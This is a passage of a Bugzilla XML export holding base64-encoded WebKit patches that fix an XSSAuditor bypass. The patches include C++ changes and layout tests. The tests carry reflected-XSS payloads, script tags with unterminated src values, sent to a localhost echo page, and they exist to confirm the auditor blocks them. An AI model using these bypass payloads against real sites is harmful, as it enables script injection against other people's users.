PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNv
dXJjZS11bnRlcm1pbmF0ZWQuaHRtbAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWlu
YXRlZC5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDE5IEBACis8IURPQ1RZUEUgaHRtbD4K
KzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxl
cikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RD
b250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hl
YWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSdodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkv
eHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9xPTxzY3JpcHQgc3JjPSJodHRw
Oi8vMTI3LjAuMC4xOjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMveHNzLmpzPyZx
Mj0iPjwvc2NyaXB0PiZjbHV0dGVyPWJsYWgnPgorPC9pZnJhbWU+Cis8aWZyYW1lIHNyYz0naHR0
cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50
ZXJ0YWcucGw/cT08c2NyaXB0IHNyYz0iaHR0cDovLzEyNy4wLjAuMTo4MDAwL3NlY3VyaXR5L3hz
c0F1ZGl0b3IvcmVzb3VyY2VzL3hzcy5qcyUyMyZxMj0iPjwvc2NyaXB0PiZjbHV0dGVyPWJsYWgn
PgorPC9pZnJhbWU+Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5
L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/cT08c2NyaXB0IHNyYz0iaHR0
cDovLzEyNy4wLjAuMTo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzLyZxMj0iPjwv
c2NyaXB0PiZjbHV0dGVyPXhzcy5qcz8nPgorPC9pZnJhbWU+Cis8L2JvZHk+Cis8L2h0bWw+Cg==
</data>
<flag name="review"
          id="109150"
          type_id="1"
          status="+"
          setter="dbates"
    />
    <flag name="commit-queue"
          id="109151"
          type_id="3"
          status="-"
          setter="dbates"
    />
          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>111358</attachid>
            <date>2011-10-17 17:41:03 -0700</date>
            <delta_ts>2011-10-17 21:36:29 -0700</delta_ts>
            <desc>Much easier to understand patch with better changelog format.</desc>
            <filename>patch_70255.txt</filename>
            <type>text/plain</type>
            <size>10797</size>
            <attacher name="Thomas Sepez">tsepez</attacher>
            
              <data encoding="base64">SW5kZXg6IFNvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZwo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBTb3VyY2UvV2Vi
Q29yZS9DaGFuZ2VMb2cJKHJldmlzaW9uIDk3NjYxKQorKysgU291cmNlL1dlYkNvcmUvQ2hhbmdl
TG9nCSh3b3JraW5nIGNvcHkpCkBAIC0xLDMgKzEsMjcgQEAKKzIwMTEtMTAtMTcgIFRvbSBTZXBl
eiAgPHRzZXBlekBjaHJvbWl1bS5vcmc+CisKKyAgICAgICAgWFNTQXVkaXRvciBieXBhc3Mgd2l0
aCByZW1vdGUgc2NyaXB0IGVuZGluZyBpbiA/IGNoYXJhY3RlcgorICAgICAgICBodHRwczovL2J1
Z3Mud2Via2l0Lm9yZy9zaG93X2J1Zy5jZ2k/aWQ9NzAyNTUKKworICAgICAgICBSZXZpZXdlZCBi
eSBOT0JPRFkgKE9PUFMhKS4KKworICAgICAgICBGaXggWFNTQXVkaXRvciBieXBhc3Mgd2hlcmUg
dW50ZXJtaW5hdGVkIHNyYz0iIiBhdHRyaWJ1dGUgY291bGQgcGljayB1cAorICAgICAgICB0ZXh0
IGZyb20gcGFnZSBjYXVzaW5nIGZhaWxlZCBYU1MgZGV0ZWN0aW9uLiAgQ29uc3RyYWluIG1hdGNo
IHRvIGRvbWFpbgorICAgICAgICBwb3J0aW9ucyBvZiBzcmMgYXR0cmlidXRlIG9ubHkuCisKKyAg
ICAgICAgVGVzdDogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0
aC1zb3VyY2UtdW50ZXJtaW5hdGVkLmh0bWwKKworICAgICAgICAqIGh0bWwvcGFyc2VyL1hTU0F1
ZGl0b3IuY3BwOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6ZmlsdGVyU2NyaXB0VG9r
ZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6ZmlsdGVyT2JqZWN0VG9rZW4pOgor
ICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6ZmlsdGVyUGFyYW1Ub2tlbik6CisgICAgICAg
IChXZWJDb3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJFbWJlZFRva2VuKToKKyAgICAgICAgKFdlYkNv
cmU6OlhTU0F1ZGl0b3I6OmZpbHRlckFwcGxldFRva2VuKToKKyAgICAgICAgKFdlYkNvcmU6OlhT
U0F1ZGl0b3I6OmZpbHRlcklmcmFtZVRva2VuKToKKyAgICAgICAgKFdlYkNvcmU6OlhTU0F1ZGl0
b3I6OmVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCk6CisgICAgICAgIChXZWJDb3JlOjpYU1NBdWRp
dG9yOjpkZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZSk6CisgICAgICAgICogaHRtbC9wYXJzZXIv
WFNTQXVkaXRvci5oOgorCiAyMDExLTEwLTE3ICBPamFuIFZhZmFpICA8b2phbkBjaHJvbWl1bS5v
cmc+CiAKICAgICAgICAgVW5yZXZpZXdlZCwgcm9sbGluZyBvdXQgcjk3NjUzLgpJbmRleDogU291
cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5jcHAKPT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gU291
cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5jcHAJKHJldmlzaW9uIDk3NjM3KQor
KysgU291cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5jcHAJKHdvcmtpbmcgY29w
eSkKQEAgLTM1Myw3ICszNTMsNyBAQCBib29sIFhTU0F1ZGl0b3I6OmZpbHRlclNjcmlwdFRva2Vu
KEhUTUxUCiAgICAgQVNTRVJUKHRva2VuLnR5cGUoKSA9PSBIVE1MVG9rZW5UeXBlczo6U3RhcnRU
YWcpOwogICAgIEFTU0VSVChoYXNOYW1lKHRva2VuLCBzY3JpcHRUYWcpKTsKIAotICAgIGlmIChl
cmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQodG9rZW4sIHNyY0F0dHIsIGJsYW5rVVJMKCkuc3RyaW5n
KCkpKQorICAgIGlmIChlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQodG9rZW4sIHNyY0F0dHIsIGJs
YW5rVVJMKCkuc3RyaW5nKCksIFNyY0xpa2VBdHRyaWJ1dGUpKQogICAgICAgICByZXR1cm4gdHJ1
ZTsKIAogICAgIG1fc3RhdGUgPSBBZnRlclNjcmlwdFN0YXJ0VGFnOwpAQCAtMzY5LDcgKzM2OSw3
IEBAIGJvb2wgWFNTQXVkaXRvcjo6ZmlsdGVyT2JqZWN0VG9rZW4oSFRNTFQKIAogICAgIGJvb2wg
ZGlkQmxvY2tTY3JpcHQgPSBmYWxzZTsKIAotICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0
cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgZGF0YUF0dHIsIGJsYW5rVVJMKCkuc3RyaW5nKCkpOwor
ICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgZGF0
YUF0dHIsIGJsYW5rVVJMKCkuc3RyaW5nKCksIFNyY0xpa2VBdHRyaWJ1dGUpOwogICAgIGRpZEJs
b2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgdHlwZUF0dHIpOwog
ICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgY2xh
c3NpZEF0dHIpOwogCkBAIC0zOTIsNyArMzkyLDcgQEAgYm9vbCBYU1NBdWRpdG9yOjpmaWx0ZXJQ
YXJhbVRva2VuKEhUTUxUbwogICAgIGlmICghSFRNTFBhcmFtRWxlbWVudDo6aXNVUkxQYXJhbWV0
ZXIobmFtZSkpCiAgICAgICAgIHJldHVybiBmYWxzZTsKIAotICAgIHJldHVybiBlcmFzZUF0dHJp
YnV0ZUlmSW5qZWN0ZWQodG9rZW4sIHZhbHVlQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSk7Cisg
ICAgcmV0dXJuIGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgdmFsdWVBdHRyLCBibGFu
a1VSTCgpLnN0cmluZygpLCBTcmNMaWtlQXR0cmlidXRlKTsKIH0KIAogYm9vbCBYU1NBdWRpdG9y
OjpmaWx0ZXJFbWJlZFRva2VuKEhUTUxUb2tlbiYgdG9rZW4pCkBAIC00MDMsNyArNDAzLDcgQEAg
Ym9vbCBYU1NBdWRpdG9yOjpmaWx0ZXJFbWJlZFRva2VuKEhUTUxUbwogCiAgICAgYm9vbCBkaWRC
bG9ja1NjcmlwdCA9IGZhbHNlOwogCi0gICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1
dGVJZkluamVjdGVkKHRva2VuLCBzcmNBdHRyLCBibGFua1VSTCgpLnN0cmluZygpKTsKKyAgICBk
aWRCbG9ja1NjcmlwdCB8PSBlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQodG9rZW4sIHNyY0F0dHIs
IGJsYW5rVVJMKCkuc3RyaW5nKCksIFNyY0xpa2VBdHRyaWJ1dGUpOwogICAgIGRpZEJsb2NrU2Ny
aXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgdHlwZUF0dHIpOwogCiAgICAg
cmV0dXJuIGRpZEJsb2NrU2NyaXB0OwpAQCAtNDE3LDcgKzQxNyw3IEBAIGJvb2wgWFNTQXVkaXRv
cjo6ZmlsdGVyQXBwbGV0VG9rZW4oSFRNTFQKIAogICAgIGJvb2wgZGlkQmxvY2tTY3JpcHQgPSBm
YWxzZTsKIAotICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0
b2tlbiwgY29kZUF0dHIpOworICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJ
bmplY3RlZCh0b2tlbiwgY29kZUF0dHIsIFN0cmluZygpLCBTcmNMaWtlQXR0cmlidXRlKTsKICAg
ICBkaWRCbG9ja1NjcmlwdCB8PSBlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQodG9rZW4sIG9iamVj
dEF0dHIpOwogCiAgICAgcmV0dXJuIGRpZEJsb2NrU2NyaXB0OwpAQCAtNDI5LDcgKzQyOSw3IEBA
IGJvb2wgWFNTQXVkaXRvcjo6ZmlsdGVySWZyYW1lVG9rZW4oSFRNTFQKICAgICBBU1NFUlQodG9r
ZW4udHlwZSgpID09IEhUTUxUb2tlblR5cGVzOjpTdGFydFRhZyk7CiAgICAgQVNTRVJUKGhhc05h
bWUodG9rZW4sIGlmcmFtZVRhZykpOwogCi0gICAgcmV0dXJuIGVyYXNlQXR0cmlidXRlSWZJbmpl
Y3RlZCh0b2tlbiwgc3JjQXR0cik7CisgICAgcmV0dXJuIGVyYXNlQXR0cmlidXRlSWZJbmplY3Rl
ZCh0b2tlbiwgc3JjQXR0ciwgU3RyaW5nKCksIFNyY0xpa2VBdHRyaWJ1dGUpOwogfQogCiBib29s
IFhTU0F1ZGl0b3I6OmZpbHRlck1ldGFUb2tlbihIVE1MVG9rZW4mIHRva2VuKQpAQCAtNTAyLDEy
ICs1MDIsMTIgQEAgYm9vbCBYU1NBdWRpdG9yOjplcmFzZURhbmdlcm91c0F0dHJpYnV0ZQogICAg
IHJldHVybiBkaWRCbG9ja1NjcmlwdDsKIH0KIAotYm9vbCBYU1NBdWRpdG9yOjplcmFzZUF0dHJp
YnV0ZUlmSW5qZWN0ZWQoSFRNTFRva2VuJiB0b2tlbiwgY29uc3QgUXVhbGlmaWVkTmFtZSYgYXR0
cmlidXRlTmFtZSwgY29uc3QgU3RyaW5nJiByZXBsYWNlbWVudFZhbHVlKQorYm9vbCBYU1NBdWRp
dG9yOjplcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQoSFRNTFRva2VuJiB0b2tlbiwgY29uc3QgUXVh
bGlmaWVkTmFtZSYgYXR0cmlidXRlTmFtZSwgY29uc3QgU3RyaW5nJiByZXBsYWNlbWVudFZhbHVl
LCBBdHRyaWJ1dGVLaW5kIHRyZWF0bWVudCkKIHsKICAgICBzaXplX3QgaW5kZXhPZkF0dHJpYnV0
ZTsKICAgICBpZiAoZmluZEF0dHJpYnV0ZVdpdGhOYW1lKHRva2VuLCBhdHRyaWJ1dGVOYW1lLCBp
bmRleE9mQXR0cmlidXRlKSkgewogICAgICAgICBjb25zdCBIVE1MVG9rZW46OkF0dHJpYnV0ZSYg
YXR0cmlidXRlID0gdG9rZW4uYXR0cmlidXRlcygpLmF0KGluZGV4T2ZBdHRyaWJ1dGUpOwotICAg
ICAgICBpZiAoaXNDb250YWluZWRJblJlcXVlc3QoZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUo
dG9rZW4sIGF0dHJpYnV0ZSkpKSB7CisgICAgICAgIGlmIChpc0NvbnRhaW5lZEluUmVxdWVzdChk
ZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZSh0b2tlbiwgYXR0cmlidXRlLCB0cmVhdG1lbnQpKSkg
ewogICAgICAgICAgICAgaWYgKGF0dHJpYnV0ZU5hbWUgPT0gc3JjQXR0ciAmJiBpc1NhbWVPcmln
aW5SZXNvdXJjZShTdHJpbmcoYXR0cmlidXRlLm1fdmFsdWUuZGF0YSgpLCBhdHRyaWJ1dGUubV92
YWx1ZS5zaXplKCkpKSkKICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAg
ICBpZiAoYXR0cmlidXRlTmFtZSA9PSBodHRwX2VxdWl2QXR0ciAmJiAhaXNEYW5nZXJvdXNIVFRQ
RXF1aXYoU3RyaW5nKGF0dHJpYnV0ZS5tX3ZhbHVlLmRhdGEoKSwgYXR0cmlidXRlLm1fdmFsdWUu
c2l6ZSgpKSkpCkBAIC01MjgsNyArNTI4LDcgQEAgU3RyaW5nIFhTU0F1ZGl0b3I6OnNuaXBwZXRG
b3JSYW5nZShjb25zdAogICAgIHJldHVybiBtX3BhcnNlci0+c291cmNlRm9yVG9rZW4odG9rZW4p
LnN1YnN0cmluZyhzdGFydCwgZW5kIC0gc3RhcnQpOwogfQogCi1TdHJpbmcgWFNTQXVkaXRvcjo6
ZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUoY29uc3QgSFRNTFRva2VuJiB0b2tlbiwgY29uc3Qg
SFRNTFRva2VuOjpBdHRyaWJ1dGUmIGF0dHJpYnV0ZSkKK1N0cmluZyBYU1NBdWRpdG9yOjpkZWNv
ZGVkU25pcHBldEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9rZW4mIHRva2VuLCBjb25zdCBIVE1M
VG9rZW46OkF0dHJpYnV0ZSYgYXR0cmlidXRlLCBBdHRyaWJ1dGVLaW5kIHRyZWF0bWVudCkKIHsK
ICAgICBjb25zdCBzaXplX3Qga01heGltdW1TbmlwcGV0TGVuZ3RoID0gMTAwOwogCkBAIC01NDAs
NiArNTQwLDIwIEBAIFN0cmluZyBYU1NBdWRpdG9yOjpkZWNvZGVkU25pcHBldEZvckF0dHIKICAg
ICBpbnQgZW5kID0gYXR0cmlidXRlLm1fdmFsdWVSYW5nZS5tX2VuZCAtIHRva2VuLnN0YXJ0SW5k
ZXgoKTsKICAgICBTdHJpbmcgZGVjb2RlZFNuaXBwZXQgPSBmdWxseURlY29kZVN0cmluZyhzbmlw
cGV0Rm9yUmFuZ2UodG9rZW4sIHN0YXJ0LCBlbmQpLCBtX3BhcnNlci0+ZG9jdW1lbnQoKS0+ZGVj
b2RlcigpKTsKICAgICBkZWNvZGVkU25pcHBldC50cnVuY2F0ZShrTWF4aW11bVNuaXBwZXRMZW5n
dGgpOworICAgIGlmICh0cmVhdG1lbnQgPT0gU3JjTGlrZUF0dHJpYnV0ZSkgeworICAgICAgICBp
bnQgc2xhc2hDb3VudDsKKyAgICAgICAgc2l6ZV90IGN1cnJlbnRMZW5ndGg7CisgICAgICAgIC8v
IENoYXJhY3RlcnMgZm9sbG93aW5nIHRoZSBmaXJzdCA/LCAjLCBvciB0aGlyZCBzbGFzaCBtYXkg
Y29tZSBmcm9tIAorICAgICAgICAvLyB0aGUgcGFnZSBpdHNlbGYgYW5kIGNhbiBiZSBtZXJlbHkg
aWdub3JlZCBieSBhbiBhdHRhY2tlcidzIHNlcnZlcgorICAgICAgICAvLyB3aGVuIGEgcmVtb3Rl
IHNjcmlwdCBvciBzY3JpcHQtbGlrZSByZXNvdXJjZSBpcyByZXF1ZXN0ZWQuCisgICAgICAgIGZv
ciAoc2xhc2hDb3VudCA9IDAsIGN1cnJlbnRMZW5ndGggPSAwOyBjdXJyZW50TGVuZ3RoIDwgZGVj
b2RlZFNuaXBwZXQubGVuZ3RoKCk7ICsrY3VycmVudExlbmd0aCkgeworICAgICAgICAgICAgaWYg
KGRlY29kZWRTbmlwcGV0W2N1cnJlbnRMZW5ndGhdID09ICc/JyB8fCBkZWNvZGVkU25pcHBldFtj
dXJyZW50TGVuZ3RoXSA9PSAnIycKKyAgICAgICAgICAgICAgICB8fCAoKGRlY29kZWRTbmlwcGV0
W2N1cnJlbnRMZW5ndGhdID09ICcvJyB8fCBkZWNvZGVkU25pcHBldFtjdXJyZW50TGVuZ3RoXSA9
PSAnXFwnKSAmJiArK3NsYXNoQ291bnQgPiAyKSkgeworICAgICAgICAgICAgICAgIGRlY29kZWRT
bmlwcGV0LnRydW5jYXRlKGN1cnJlbnRMZW5ndGgpOworICAgICAgICAgICAgICAgIGJyZWFrOwor
ICAgICAgICAgICAgfQorICAgICAgICB9CisgICAgfQogICAgIHJldHVybiBkZWNvZGVkU25pcHBl
dDsKIH0KIApAQCAtNTY2LDcgKzU4MCw2IEBAIGJvb2wgWFNTQXVkaXRvcjo6aXNTYW1lT3JpZ2lu
UmVzb3VyY2UoY28KICAgICByZXR1cm4gKG1fcGFyc2VyLT5kb2N1bWVudCgpLT51cmwoKS5ob3N0
KCkgPT0gcmVzb3VyY2VVUkwuaG9zdCgpICYmIHJlc291cmNlVVJMLnF1ZXJ5KCkuaXNFbXB0eSgp
KTsKIH0KIAotCiBTdHJpbmcgWFNTQXVkaXRvcjo6c25pcHBldEZvckphdmFTY3JpcHQoY29uc3Qg
U3RyaW5nJiBzdHJpbmcpCiB7CiAgICAgY29uc3Qgc2l6ZV90IGtNYXhpbXVtRnJhZ21lbnRMZW5n
dGhUYXJnZXQgPSAxMDA7CkluZGV4OiBTb3VyY2UvV2ViQ29yZS9odG1sL3BhcnNlci9YU1NBdWRp
dG9yLmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PQotLS0gU291cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvWFNTQXVkaXRv
ci5oCShyZXZpc2lvbiA5NzYzNykKKysrIFNvdXJjZS9XZWJDb3JlL2h0bWwvcGFyc2VyL1hTU0F1
ZGl0b3IuaAkod29ya2luZyBjb3B5KQpAQCAtNDgsNiArNDgsMTEgQEAgcHJpdmF0ZToKICAgICAg
ICAgQWZ0ZXJTY3JpcHRTdGFydFRhZywKICAgICB9OwogCisgICAgZW51bSBBdHRyaWJ1dGVLaW5k
IHsKKyAgICAgICAgTm9ybWFsQXR0cmlidXRlLAorICAgICAgICBTcmNMaWtlQXR0cmlidXRlCisg
ICAgfTsKKwogICAgIHZvaWQgaW5pdCgpOwogCiAgICAgYm9vbCBmaWx0ZXJUb2tlbkluaXRpYWwo
SFRNTFRva2VuJik7CkBAIC02NCwxMSArNjksMTEgQEAgcHJpdmF0ZToKICAgICBib29sIGZpbHRl
ckZvcm1Ub2tlbihIVE1MVG9rZW4mKTsKIAogICAgIGJvb2wgZXJhc2VEYW5nZXJvdXNBdHRyaWJ1
dGVzSWZJbmplY3RlZChIVE1MVG9rZW4mKTsKLSAgICBib29sIGVyYXNlQXR0cmlidXRlSWZJbmpl
Y3RlZChIVE1MVG9rZW4mLCBjb25zdCBRdWFsaWZpZWROYW1lJiwgY29uc3QgU3RyaW5nJiByZXBs
YWNlbWVudFZhbHVlID0gU3RyaW5nKCkpOworICAgIGJvb2wgZXJhc2VBdHRyaWJ1dGVJZkluamVj
dGVkKEhUTUxUb2tlbiYsIGNvbnN0IFF1YWxpZmllZE5hbWUmLCBjb25zdCBTdHJpbmcmIHJlcGxh
Y2VtZW50VmFsdWUgPSBTdHJpbmcoKSwgQXR0cmlidXRlS2luZCB0cmVhdG1lbnQgPSBOb3JtYWxB
dHRyaWJ1dGUpOwogCiAgICAgU3RyaW5nIHNuaXBwZXRGb3JSYW5nZShjb25zdCBIVE1MVG9rZW4m
LCBpbnQgc3RhcnQsIGludCBlbmQpOwogICAgIFN0cmluZyBzbmlwcGV0Rm9ySmF2YVNjcmlwdChj
b25zdCBTdHJpbmcmKTsKLSAgICBTdHJpbmcgZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUoY29u
c3QgSFRNTFRva2VuJiwgY29uc3QgSFRNTFRva2VuOjpBdHRyaWJ1dGUmKTsKKyAgICBTdHJpbmcg
ZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUoY29uc3QgSFRNTFRva2VuJiwgY29uc3QgSFRNTFRv
a2VuOjpBdHRyaWJ1dGUmLCBBdHRyaWJ1dGVLaW5kIHRyZWF0bWVudCA9IE5vcm1hbEF0dHJpYnV0
ZSk7CiAKICAgICBib29sIGlzQ29udGFpbmVkSW5SZXF1ZXN0KGNvbnN0IFN0cmluZyYpOwogICAg
IGJvb2wgaXNTYW1lT3JpZ2luUmVzb3VyY2UoY29uc3QgU3RyaW5nJiB1cmwpOwpJbmRleDogTGF5
b3V0VGVzdHMvQ2hhbmdlTG9nCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL0NoYW5nZUxvZwko
cmV2aXNpb24gOTc2NjEpCisrKyBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cJKHdvcmtpbmcgY29weSkK
QEAgLTEsMyArMSwxNyBAQAorMjAxMS0xMC0xNyAgVG9tIFNlcGV6ICA8dHNlcGV6QGNocm9taXVt
Lm9yZz4KKworICAgICAgICBYU1NBdWRpdG9yIGJ5cGFzcyB3aXRoIHJlbW90ZSBzY3JpcHQgZW5k
aW5nIGluID8gY2hhcmFjdGVyCisgICAgICAgIGh0dHBzOi8vYnVncy53ZWJraXQub3JnL3Nob3df
YnVnLmNnaT9pZD03MDI1NQorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgor
CisgICAgICAgIEZpeCBYU1NBdWRpdG9yIGJ5cGFzcyB3aGVyZSB1bnRlcm1pbmF0ZWQgc3JjPSIi
IGF0dHJpYnV0ZSBjb3VsZCBwaWNrIHVwCisgICAgICAgIHRleHQgZnJvbSBwYWdlIGNhdXNpbmcg
ZmFpbGVkIFhTUyBkZXRlY3Rpb24uICBDb25zdHJhaW4gbWF0Y2ggdG8gZG9tYWluCisgICAgICAg
IHBvcnRpb25zIG9mIHNyYyBhdHRyaWJ1dGUgb25seS4KKworICAgICAgICAqIGh0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRlZC1l
eHBlY3RlZC50eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVk
aXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRlZC5odG1sOiBBZGRlZC4KKwog
MjAxMS0xMC0xNyAgT2phbiBWYWZhaSAgPG9qYW5AY2hyb21pdW0ub3JnPgogCiAgICAgICAgIFVu
cmV2aWV3ZWQsIHJvbGxpbmcgb3V0IHI5NzY1My4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRl
ZC1leHBlY3RlZC50eHQKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1zb3VyY2UtdW50ZXJtaW5hdGVkLWV4cGVj
dGVkLnR4dAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRlZC1leHBlY3RlZC50
eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNyBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6
IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBz
Y3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBS
ZWZ1c2VkIHRvIGV4ZWN1dGUgYSBKYXZhU2NyaXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2Ny
aXB0IGZvdW5kIHdpdGhpbiByZXF1ZXN0LgorCitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVm
dXNlZCB0byBleGVjdXRlIGEgSmF2YVNjcmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlw
dCBmb3VuZCB3aXRoaW4gcmVxdWVzdC4KKworICAKSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRl
ZC5odG1sCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRlZC5odG1sCShyZXZpc2lv
biAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Njcmlw
dC10YWctd2l0aC1zb3VyY2UtdW50ZXJtaW5hdGVkLmh0bWwJKHJldmlzaW9uIDApCkBAIC0wLDAg
KzEsMTkgQEAKKzwhRE9DVFlQRSBodG1sPgorPGh0bWw+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAo
d2luZG93LmxheW91dFRlc3RDb250cm9sbGVyKSB7CisgIGxheW91dFRlc3RDb250cm9sbGVyLmR1
bXBBc1RleHQoKTsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQo
dHJ1ZSk7Cit9Cis8L3NjcmlwdD4KKzwvaGVhZD4KKzxib2R5PgorPGlmcmFtZSBzcmM9J2h0dHA6
Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVy
dGFnLnBsP3E9PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9zZWN1cml0eS94c3NB
dWRpdG9yL3Jlc291cmNlcy94c3MuanM/JnEyPSI+PC9zY3JpcHQ+JmNsdXR0ZXI9YmxhaCc+Cis8
L2lmcmFtZT4KKzxpZnJhbWUgc3JjPSdodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNz
